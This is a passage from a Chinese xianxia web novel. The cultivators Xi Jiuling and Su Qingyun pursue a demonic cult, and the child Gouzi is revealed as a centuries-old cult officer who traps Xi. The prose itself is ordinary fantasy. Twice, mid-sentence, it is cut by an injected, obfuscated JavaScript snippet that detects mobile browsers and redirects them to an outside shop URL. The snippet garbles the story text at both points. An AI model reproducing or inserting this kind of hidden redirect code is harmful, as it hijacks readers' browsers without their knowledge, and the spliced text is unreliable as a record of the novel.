星月暗淡、云浓风稀,济水城东五里外,云河在夜幕下缓缓流淌,岸边的界碑旁,西、苏二人并肩而立。 西九岭望着界碑上的字,不解道:“哪里歪了?” 苏晴沄指着最下面那个“界”字的竖撇,“就这里,那个转弯处,是不是有点儿歪?” 西九岭完全没看出来哪里歪了,但他还是拔出了腰间佩剑,说道:“重新刻一个便是。” “嗳!”苏晴沄一把拉住他,“你现在泄露剑气马上就会被天神教察觉啊。” “有道理。”西九岭还剑入鞘,“以后再刻。” “其实歪了就歪了,不用那么认真。” “不行,你看着不顺眼,必须重刻。” 看着他故作郑重的模样,苏晴沄噗嗤一声笑了出来,然后西九岭也有些忍俊不禁,两人一起笑了一阵。 笑过之后,苏晴沄将视线转向云河岸,说道:“好了,山上没问题,河边也没问题,天神教应该没在济水布设祭祀法阵,不用担心君百暴露之后狗急跳墙了。” 西九岭顺着她的视线看去,夜色下的云河平静安逸却深沉不明,他有些忧心道:“不知道天神教是打算在其他城镇献祭,还是找到了其他手段释放魔神?” “管他用什么方法,咱们先一步把天神教剿灭便是。” “说的是。”看着东方渐渐泛起的鱼肚白,西九岭的唇角浮起笑意,“李琦说察院西边两条街有家馄饨不错,要不要试试?” 两人吃过馄饨走回察院,刚跨进院门就听见一声细嫩童声发出的哀嚎。 紧接着,一个年轻修士从牢房的方向匆忙跑来,远远看到闻声赶来的李琦便大声喊道:“李师兄,不好了,那个哑巴死了!” 60. 陷阱(一) 察院的牢房从外面看来就是间普通的瓦房,只是门、窗上画着许多符纹。里面同样没有牢笼和锁链,桌、椅、床铺一应俱全,可谓整洁舒适。 哑巴就躺在那张宽敞的大床上,四肢大开、仰面朝天,张开的双眼透出惊惧之色,丝丝黑气缠绕在他周身,无需勘验就能一眼看出他死于魔道术法。 “审了几轮也没审出东西,跟他有联系的人也都摸排了一圈,没查出有用的线索。”李琦站在床前向身旁的西九岭汇报,“我就想着不如将他放出去、派人盯梢,看什么人会跟他联系,再做进一步调查。所以今天一早就让吴师弟来放人了。” 说完,他有些埋怨地看向了立在床脚的修士。 被称作吴师弟的修士一脸委屈道:“师兄交代后我立刻就来了,只是路过花园时碰上了带着狗子的齐师姐。”说着他瞟了眼身旁站着的女修,后者低下头去,“师姐说反正放了哑巴也得来找她领狗子,干脆直接带狗子去放人,我也没想到哑巴会死,所以就……” 说到后面他有些底气不足,声音越来越小,到最后怎么也说不出带着狗子来牢房的话了。毕竟按程序是要先放人再跟家属走的,因为他违反程序导致一个八岁孩子亲眼目睹了父亲的死状,实在是难辞其咎。 西九岭早听说狗子在察院整天哭闹着回家的事情,也能理解看管这样一个小孩儿的不易,但他依旧冷着脸淡淡道:“送去戒院。” 李琦知道掌门素来不喜废话,下山后更是不喜欢被跪,生怕外门弟子不知轻重、扣头求饶,于是直接用禁言术封住两人的嘴巴,让人带了出去。开、关门间听到狗子在院中的哭声,比起最初已经低沉嘶哑了许多。 苏晴沄看着仵作完成勘验,确认没有更多发现才问道:“现在怎么办?是不是该去哑巴家看看?” 西九岭微微蹙眉,心中有些懊恼。当初他们发现哑巴是凡人便有些放松,加之后来的调查指向了君百,两人都以为哑巴不过是个不知情的挡箭牌,所以就没再关注。如今天神教杀人灭口,说明哑巴肯定知道什么,而他们没有查出来…… 这时候一个修士跑进来在李琦耳边低声说了几句。 李琦打发修士离开,然后对两人道:“我让人把狗子送去柳艳红那里,可那孩子死活不肯,说是要,”他看了眼床上的尸体、叹了口气,“跟父亲回家。” “我们把哑巴的尸体和狗子一起送回去。”西九岭看向苏晴沄,“确实该看看那院子。” “那君百那边……?” 西九岭略一思索,向李琦交代道:“送个信去,将会面改在明日。” 李琦听掌门如此安排便立刻应承,又道:“我让人多备些抚恤银两,再跟闫家兄弟打个招呼,让他们帮忙料理一下哑巴的丧事。”毕竟是本地监管,他想的要细致许多。 哑巴的尸体从牢房运出来后,好不容易安静下来的狗子又哭了一通,直到最后瘦小的身躯已经累得哭不出声音才停止了眼泪,然后就双眼呆滞地守在哑巴的尸体旁边、一动不动。 看着李琦安排人将尸体抬上一辆找来的板车,看着李琦用一张白布盖住了尸体,看着李琦封上足足一百两安葬费塞进白布下面,狗子没再发出一点声音,也没有任何反应。 可当李琦问他是否要休息一下再出发的时候,这个八岁的男孩儿仿佛又找回了视线的焦点,双眼喷火般盯着李琦的脸狠狠地拒绝了。在他看来,是这些人害死了父亲,是这个地方害死了父亲,这地方他一刻也不愿多留。 瘦小的身体很难拉动运送尸体的板车,但苏、西二人都没有跟他抢,西九岭只是默默走在车的后面、将手搭在车沿上暗暗使力。 看到一个小男孩儿从察院里拉出一具尸体,城中的居民都难掩好奇。只是鉴于有两个仙人跟着,这些人才没敢上前打扰,只是远远地跟随观望。 很快,西、苏二人就在人群中发现了一个艳红色的身影。 “柳艳红已经跟了两条街了。”西九岭目不斜视道。 “毕竟是母亲,终归还是担心孩子孤苦无依吧?”苏晴沄看着狗子拼命拉车的瘦小背影,真心希望母子二人能够和解。 他们没有压低声音,但狗子却仿佛没听到似的,只是专心拉车。 就这样,三人沉默着走完了剩下的街道、出了城门,而观望的人群也终于不再跟随。 “柳艳红在城门停下了。”西九岭说着蹙了下眉,“她回城了。” “她不是来跟狗子回家的?”苏晴沄也皱起了眉头,难道柳艳红跟了这么久只是为了确认他们是否出城? 这个念头冒出来的同时,不安的情愫也在她心头升起,“我回去看看她要做什么。” 西九岭没有阻止她的决定,只是叮嘱道:“如果遇上君百不要硬来,等我。” “知道。”苏晴沄点了下头,既然圣殿多半就在附近,那么天神教主的绝对领域很可能也在这里,“有事传讯。”说完,她便转身往回走去。 西九岭盯着狗子的背影,虽然话题涉及他母亲,但这孩子似乎一点也不关心,自始至终都只是闷头拉车。或许被母亲那样说过之后,男孩就彻底死心了吧?也正因此,父亲的死对他而言必定是巨大的打击。 如此一想,西九岭不禁暗暗叹气。穹山查案、累及凡人,这还是第一次。 虽然狗子很要强,而西九岭也一直在暗中助力,但瘦小的身体终究还是扛不住疲惫,在走到半途的时候倒了下去。西九岭只得让他坐上板车,自己拉着车走,还好这次狗子没有闹腾着拒绝,乖乖爬上了车沿。 晌午时分,哑巴家的小院终于随着车轮的吱呀声进入视线,同时跃入视线的还有刺目的火焰和滚滚的浓烟。 狗子猛地跳下车就往前冲,西九岭一把拉住了他,说道:“在这里等!” 说完,他腾空而起、掠向小院,同时手中已经开始掐诀,晴朗的天空霎时间聚起一团乌云,正罩在哑巴家上方。随着他脚尖落地,雨点也从乌云中倾盆而下,片刻后便浇灭了火焰。 看着烧焦的院子和残破的房屋,西九岭眉头高耸,又慢了一步。 他轻轻推开歪挂在残破栅栏上的院门,想进去看看是否还能找到什么线索。可就在这时,一股力量突然出现在背后,令他条件反射般转身看去。 只见一个头戴兜帽的黑袍人正从板车旁抓起狗子,而狗子张开的嘴还没来得及发出声音便浑身一软摊在了黑袍人怀里。 西九岭不及多想,伸手向着空中就是一抓,但狗子并未如预想中飞入他的手中,他的灵力竟然在半途被对方的力量阻挡了! 一愣神的功夫,黑袍人已经裹挟着狗子向西飞去。看到那身法和速度,西九岭更加确信了,这黑袍人就是魔道化神! 君百出城了吗?还是说天神教主另有其人? 他顾不上细思,急忙飞身追去。虽然明知自己可能会被引入对方的领域,但修士之争不涉凡人是穹山的铁律,如今哑巴横死已是他的过错,绝对不能再让狗子出事。而且一旦动手必然能被苏晴沄察觉,他只要坚持到苏晴沄赶来就行了。 一魔一仙横空飞驰,风掠云散,转瞬间便越过了十数座山峰。 没有负担的西九岭比起挟持狗子的黑袍人速度略有优势,两人间的距离渐渐缩短到了攻击范围。西九岭看准时机抬手掐诀,可就在这时,黑袍人突然猛地向下俯冲,坠入了一片山坳中的密林,消失在层层绿色之中。 西九岭连忙转向落下,可待他落地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737542|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环顾四周,却哪里还有黑袍人的身影? 杂草、灌木、乔木、藤蔓,一层叠着一层,一丛套着一丛,到处都是绿色。可为何放开神识也探不到生气?那黑袍人转瞬间入地了不成? 疑惑间,他忽然察觉到口鼻间飘入一股奇异的幽香,那是风带来的味道。 心中有了猜测,他竖起耳朵仔细聆听,鸟唱虫鸣纷然而至,鼻间的幽香时隐时现,可即便有风吹来却听不到一丝树叶婆娑——果然是幻境。 他冷哼一声,拔出腰间沧海向前划出一道剑弧。 灵光破空向前,在一片绿色中撞出团团黑雾。随着黑雾破灭,层叠交错的丛林也烟消云散,剩下的只有脚下的杂草和前方的山壁。 而此刻,那山壁上赫然多出了两扇石门,石门敞开,一条深不见底的通道在门后蜿蜒着探入山体。 西九岭挥手在石门边的山壁上刻下一道剑痕,然后还剑入鞘、走入石道。 山中石道虽然蜿蜒却并不冗长,没多久就将他引入了一间石室。 石室四四方方,宽敞却不明亮。四面墙壁上嵌着的是凡人使用的烛火,摇曳的微光在青石地板上投下忽明忽暗的斑驳,尽头的白玉石桌上一座黄金雕像面目狰狞——马首、狮身、熊齿、虎爪、犀角、鹰翅、蛇尾——与梦见中的一般无二! 而就在那黄金魔神像前方的地面上,狗子双手交错在腹部、静静平躺,仿佛熟睡一般。密密麻麻的魔道咒纹围绕在他身下,形成一个十二边形的法阵。 那法阵他在典籍中看过无数次,正是当年玉城大劫中天神教使用的献祭法阵!黑袍人要献祭狗子! 想到这点的西九岭立刻飞入阵中伸手去拉狗子,就在他的手掌碰触小男孩身体的瞬间,一道光从男孩儿的手中飞出贴到了他的胸口,同一时间男孩儿的双眼睁开,嘴角高高扬起,露出一个毫无童真的邪恶笑容。 西九岭只觉得胸前一热,一张卷轴贴着他的胸口展开,无数白光从卷轴中飞出,如一条条锁链般捆绑着将他拉入了卷轴。 狗子从地上爬起来、掸了掸身上的土,嘴角依旧噙着邪魅的笑,看着掉落地面的卷轴眼神透出阴狠之色,与之前那个身世可怜的男孩儿判若两人。 石室侧面打开一道门,全身黑袍的男人从门内缓步而出。 狗子立刻躬身行礼,说道:“恭喜教主、贺喜教主,西九岭落入山海图,已成教主囊中之物。” 被称为教主的人摆了摆手,“山海图乃真神所赐,能够捕获西九岭也是真神万能,你我不过办事的仆从而已。”说完他微微一顿,又道,“当然,此次行动左护法功不可没,本教主定会在真神面前为你表功的。” 身形如孩童的左护法立刻喜形于色,跪地道:“徐隗叩谢教主赏识!” 天神教主走到山海图前,展开的画面上彩光飘逸,山川河流呼之欲出,感受着那画卷中的莫测之力他忍不住哈哈大笑,“只怕西九岭到死也猜不到你是徐翰的哥哥,是他不共戴天的仇人吧?哈哈!” 想到弟弟的死,徐隗目露凶光,“伪道之人如何能明白我教功法的奥妙无穷?” 天神教主笑过之后拿起山海图,向着门外朗声道:“右护法何在?” 一个身影从甬道中翩然而入,正是水月楼的妈妈陆雨茜。此时她的样貌就如同二八年华,眼中妩媚之色毫不遮掩,行走间的端正也全然不见,扭动着水蛇腰上前行礼道:“陆雨茜听候教主差遣。” 天神教主抬手一抛,那山海图飞旋在空中、飘然不落,“左、右护法上前,与本教主一同为山海图护法。” 在异口同声的回答中,天神教主端正姿态,抬手缓缓摘下头上的兜帽,露出下面的方脸细目,赫然是君府总管尹恭! 61. 陷阱(二) 对于穹山制定的城池五里之内禁用法术的规定,苏晴沄是及其反感的。 在景国的城池里修士相对自由许多,而普通人在见惯不怪之后也就习以为常了。可在这里,一旦修士的身份暴露,普通居民就自动对你开启了卑躬屈膝模式,让曾经生活在平等世界的她感觉浑身不自在。 而且……很不方便! 她转头回城是要暗中跟踪柳艳红的,可一进城就被刚才看热闹的济水民众认了出来,一群人大老远就开始朝着她跪拜,这还跟踪个屁啊! 迫不得已,她只得找了个背人之处服下易容丹,然后改头换面重新回到街上,然后穿街走巷寻找柳艳红的踪迹。 有一瞬间她几乎要违规开启神识了,但转念一想君百还在城里,神识完全打开肯定会惊动对方。只开启金丹级别的神识又容易引起城中修士的注意,到时候还没找到柳艳红、自己先暴露了。 还好,柳艳红并没有离开城门太远。在穿过三条街道之后,她在一间包子铺前看到了那一身大红的女子。 柳艳红面前的盘子已经空了一半,碗里的粥也几乎见底,看起来还真是来吃早点的。 找到目标的苏晴沄也不再着急,跟小贩手里买了个烧饼,边吃边在路边摊子上闲逛,暗中观察着柳艳红的动静。 柳艳红似乎并不着急,悠闲的吃完早点又溜溜达达去了水粉铺子,买完胭脂又逛了几间成衣店,然后拎着一堆东西晃晃悠悠地走回了家。 藏在巷角树后的苏晴沄盯着小院里二楼的窗户看了半天,始终没见什么动静。难道她猜错了?柳艳红没什么目的,只是纯粹出于好奇才跟着围观的? 正想着,面上掠过一阵麻痒的感觉,她知道这是易容丹失效了。索性她早有先见之明,伪装闲逛的时候在路边买了个斗笠,这会儿戴着斗笠又有树木遮掩,变换了容貌也没有引起路人注意。 她又看了看二楼的窗户,然后将手探入衣袖,准备取出传讯符跟西九岭联系一下。 就在这时,柳艳红家的院门开启了一条小缝。苏晴沄立刻警觉地后仰身体,同时用手压低斗笠,确保自己被树干完全遮住,然后竖起耳朵仔细聆听。 短暂的寂静后传来一声轻微的吱呀响动,应该是门被大开了。紧接着,一个黑色身影急急走出了巷道,转过街角时还微微偏了下头,似乎是在观察身后。 苏晴沄双眼一亮,虽然出来的人换了衣服、带了面纱,但微微偏头时露出的那只眼睛分明属于柳艳红。 看着柳艳红转回头快步向前,苏晴沄从树后闪身出来,远远跟在后面。 柳艳红在城中七绕八绕,走过的巷子越来越窄,道边的景象越来越荒,最后走进了城东的一条窄巷。 苏晴沄贴在转角的墙边不敢露头,从声音上可以判断柳艳红往巷内走了一段才停下来,然后出现了短暂的静默,应该是在观察有无跟踪。就在她以为柳艳红已经到达目的地的时候,脚步声又响了起来。这回只走了几步,然后就传来了推门、关门的声音。 苏晴沄心底忍不住惊叹,第一次停留竟然是干扰视线,确认没被跟踪后才走到真正的目的地,如此小心谨慎还真是天神教的风格。 确认再无响动之后,她从墙角转入巷子。此时当然已经看不到柳艳红的身影,但回想刚才声音的位置,她很快就找到了柳艳红第一次停留的位置。然后抬头看了眼院门,又往前走了几步。接着,她蹙起了眉头,似乎有哪里不对。思索片刻后她恍然明悟,转身往回走去,在路过刚才的院门后没有停留,继续走了几步。 这次应该没错,第二次的步子该是往回走的,推响的该是这座院门。 院门上没有牌匾,门槛边缘的蛛网上挂着几只飞虫,墙壁和台阶的缝隙中都有杂草生出,一株高大的槐树从院角内探出些许枝丫,但上面只挂着零星的叶片,看上也是半死不活。 苏晴沄轻轻跃上墙头,院中的景象与门前一般荒凉,庭院中满是碎石和杂草,三间房屋的瓦片均有破损,窗户和墙面都生着蛛网,墙面更是斑驳不堪,门前地面尘土厚重,但正屋门前的尘土上清晰的印出了几枚新鲜的脚印,显然是有人刚刚走过。 她寻了块没有碎石的地面轻轻落下,避免发出声响。没想到一落地,背后就传出一个男人的声音。 “嘿嘿,还真跟来了。” 转头看去,一张熟悉的面孔从槐树后面的阴影走了出来,腰别折扇、头插牡丹,正是君府管家的儿子尹琪。 “教主的判断怎么会有错呢?”随着开门的声响,柳艳红略带调笑的声音出现在正屋门口,“不过他们居然有办法改变容貌,害我一度担心自己走的太快把人甩掉了呢。” 柳艳红跟尹琪是一伙的?他们之间的矛盾是伪装!苏晴沄的思路飞转,转头看向柳艳红问道:“是君百让你将我诱来的?” 噗嗤,柳艳红似乎是忍不住一般笑出了声,“这些人还真以为那个君二傻是咱们教主呢,真是笑死我了!” 她这话显然是对尹琪说的,所以尹琪也一脸邪笑地回应了她:“教主的安排绝妙,这些伪道之人如何能够看破。” 君百不是教主?苏晴沄心中一惊,然后若有所悟地看向了尹琪。 虽然君百身上的疑团很多,但让他们认定君百是天神教主的最主要原因就是那枚铜钱,而指认君百是铜钱主人的正是尹琪。既然尹琪是天神教徒,那他的指认显然就是误导了。不是君百,那会是谁呢? 思索的同时,苏晴沄也在心底盘算着现下的处境。打败眼前这两人并非难事,但她一出手就必然惊动那位身份不明的天神教主,如何才能避免波及城中居民呢? 她背手看看柳艳红,又看看尹琪,“在这里动手,你们就不怕察院来人增援吗?” “就凭察院那几个小金丹?”柳艳红掩嘴笑道,“能干什么呀?” “别指望了,”尹琪从腰间取出折扇展开,“唯一能救你的穹山掌门这会儿只怕已经自身难保了。” 苏晴沄心底又是一惊,这两人不把金丹放在眼中可见都有元婴实力。但更令她震惊的是——他们知道西九岭的身份——即便如此依旧认为西九岭此时自身难保! 一瞬间,她想起在现代世界有恐怖组织培养儿童参与战争的事情,“狗子是你们的人,他引西九岭去了你们教主那里?!” “挺聪明的吗!”尹琪轻摇折扇赞叹道,“不愧是穹山掌门看上的女人。” “利用小孩子算什么本事?”苏晴沄眼中几乎要冒出火来。 柳艳红又是噗嗤一声笑,“小孩子?哈哈!徐隗是小孩子?五百岁的小孩子吗?哈哈哈哈!” 尹琪也跟着笑道:“那家伙可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13785993|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被你们杀死的徐翰的哥哥啊。” 苏晴沄双眼睁大,徐翰的哥哥?五百岁……狗子是男版的天山童姥吗? 柳艳红看她惊讶便更加得意起来,说道:“向天偷日,寿比真仙,徐隗的功法着实令人羡慕。就是每百年都要变回一次小孩子,太麻烦了,还得让老娘照顾那么久,还得费劲心思帮他去搞君家那几个孩子换寿,让那君二傻占了这么久老娘的便宜,哼!” 原来君家几个孩子夭折是因为这个……每一百年就要变回一次小孩儿,所以说不是一直维持小孩儿的模样…… 突然,一个念头猛地在苏晴沄心中升起,“狗子才是你们的教主?”如果哑巴家小院是他的领域,那西九岭就危险了! 柳艳红这次笑得更加厉害,几乎是扶着门槛花枝乱颤道:“怎么会?” 狗子不是,那么就肯定是天神教主也在城外了……正想着,苏晴沄忽然有所感应,抬头看向西北方的天空。一黑一蓝两道光划过天空,很快又消失不见。 尹琪收起折扇,神情也肃穆了许多,“教主他们已经动手了,咱们也快些吧。”说完便抬腿向着苏晴沄逼近。 苏晴沄双眼微眯,望着蓝色灵光消失的方向冷冷道:“是要快些了。” 柳艳红也向她靠近过来,配合着尹琪形成夹击之势,嘴里还不闲着:“别怕,我们不会杀了你的。穹山掌门的情人,当然是要抓起来以防万一了。” 她一边说一边笑,唇角的弧度越扬越高。渐渐地,那弧度层层叠叠变成了数瓣,面孔也随之虚无缥缈起来,旖旎光晕在她周身浮现,说话的声音也似乎飘向了远方。 苏晴沄轻轻闭了下眼,冷笑道:“原来两个都是元婴。” 柳艳红见她居然没中自己的媚术不禁放缓了脚步,讶异道:“你竟然也是元婴!” 对面的尹琪收起了玩笑之色,肃然道:“教主又猜对了,穹山掌门的女人果然不止金丹,幸亏咱们两人都来了。” 苏晴沄唇角微勾,冷冷道:“这次你们教主猜错了,我不是元婴。”话音落下,她双手在胸前快速掐诀,小院墙外立刻升起了一个四方形的灵力屏障,将周围的建筑与街道隔绝开来。 感知到灵力的强度,尹琪和柳艳红猛然瞪大了双眼,怎么可能…… 还没来得及想通眼前这元婴的灵力为何超出自己如此之多,两人就看见一道五彩灵光划破长空向小院飞来。在一片惊呼声中,一柄灵剑飞至小院上空,剑身三尺、通体晶莹、五色流转——赫然是传闻中景公主的灵剑琉光! 为什么这个酒夕能够召唤琉光剑?为什么这个酒夕能够建起超越元婴的灵力屏障? 答案只可能是一个——眼前之人根本不是什么酒夕,她是景公主,是至高无上的化神!可是这怎么可能?她不是被西九岭退婚了吗?! 想不明白的尹琪和柳艳红只能在最后一刻拼尽全力做出抵抗,但那不过螳臂当车而已。随着整座庭院在剑光中化为齑粉,两人也重伤昏倒于瓦砾之间。 苏晴沄封了二人的灵力,一手一个拎起来,在又一片惊呼声中飞过察院上空、抛下两人,然后直直朝着西北飞去。 什么不能干扰凡人?什么城镇五里内不能使用灵力?此时她心中只有一个念头——西九岭可能已经入了天神教主的领域!她必须赶过去,立刻!马上!